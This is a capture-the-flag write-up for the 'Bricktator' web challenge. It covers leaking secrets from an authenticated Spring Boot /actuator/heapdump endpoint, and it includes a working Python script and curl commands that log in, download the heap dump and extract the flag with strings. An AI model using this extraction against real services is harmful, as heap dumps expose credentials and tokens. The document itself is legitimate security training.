Bricktator

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: actuator_recon, heapdump_secrets_extraction

Summary

Walkthrough of the CUSTOM Web Bricktator. Task: valid user credentials exposed a Spring Boot panel with authenticated actuator access. Solution: confirm locally that /actuator/heapdump keeps flag-like secrets in memory, then download the remo

---

title: "Bricktator" id: 20260411_umasscybersec_bricktator category: web difficulty: easy event: umasscybersec tags: ["credentials", "spring_boot", "heapdump", "spring_actuator", "java_heap"] techniques: ["actuator_recon", "heapdump_secrets_extraction"] tools: ["curl", "grep", "strings"] indicators: ["Spring Boot actuator endpoints become visible after a normal login", "authenticated users can download /actuator/heapdump", "heap strings contain flag-like values or sensitive constants"]

Bricktator — UMass Cybersecurity CTF

Description

Organizer description was not preserved in the local task files.

English summary: we were given source code plus bricktator/goldeagle credentials. After login, the application exposed Spring Boot actuator endpoints, and the key issue was that /actuator/heapdump was readable and leaked secrets directly from process memory.

Analysis

The login from dossier.txt gave access to the application as bricktator. That account had the ROLE_YANKEE_WHITE permissions needed to browse actuator functionality, so the attack surface expanded immediately after authentication.

Local testing showed that /actuator/heapdump was exposed and that running strings on the dump revealed sensitive constants, including the placeholder flag stored in memory. That confirmed the remote target likely kept the real flag in the same place.

Solution

1. Read the dossier and log in with bricktator/goldeagle.
2. Use the granted role to access actuator endpoints.
3. Verify locally that /actuator/heapdump contains the placeholder flag in heap strings.
4. On the remote target, download /actuator/heapdump once.
5. Run strings on the dump and search for UMASS{ to recover the flag.

 python read-only • copy allowed Copy
#!/usr/bin/env python3
import re
import subprocess
from pathlib import Path

import requests

BASE = "http://bricktator.web.ctf.umasscybersec.org:8080"
USER = "bricktator"
PASSWORD = "goldeagle"
OUT = Path("heapdump.hprof")

session = requests.Session()

# Adjust the login endpoint/field names if needed for the exact deployment.
session.post(
    f"{BASE}/login",
    data={"username": USER, "password": PASSWORD},
    timeout=20,
)

resp = session.get(f"{BASE}/actuator/heapdump", timeout=60)
resp.raise_for_status()
OUT.write_bytes(resp.content)

strings_output = subprocess.check_output(["strings", str(OUT)], text=True, errors="ignore")
matches = re.findall(r"UMASS\{[^}]+\}", strings_output)

for match in sorted(set(matches)):
    print(match)

Minimal extraction flow:

 bash read-only • copy allowed Copy
curl -s -c cookies.txt -d 'username=bricktator&password=goldeagle' http://bricktator.web.ctf.umasscybersec.org:8080/login > /dev/null
curl -s -b cookies.txt http://bricktator.web.ctf.umasscybersec.org:8080/actuator/heapdump -o heapdump.hprof
strings heapdump.hprof | grep 'UMASS{'

Key Takeaways / Lessons

• Mastering actuator_recon, heapdump_secrets_extraction was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-04-11 • CUSTOM • Bricktator • Difficulty: Easy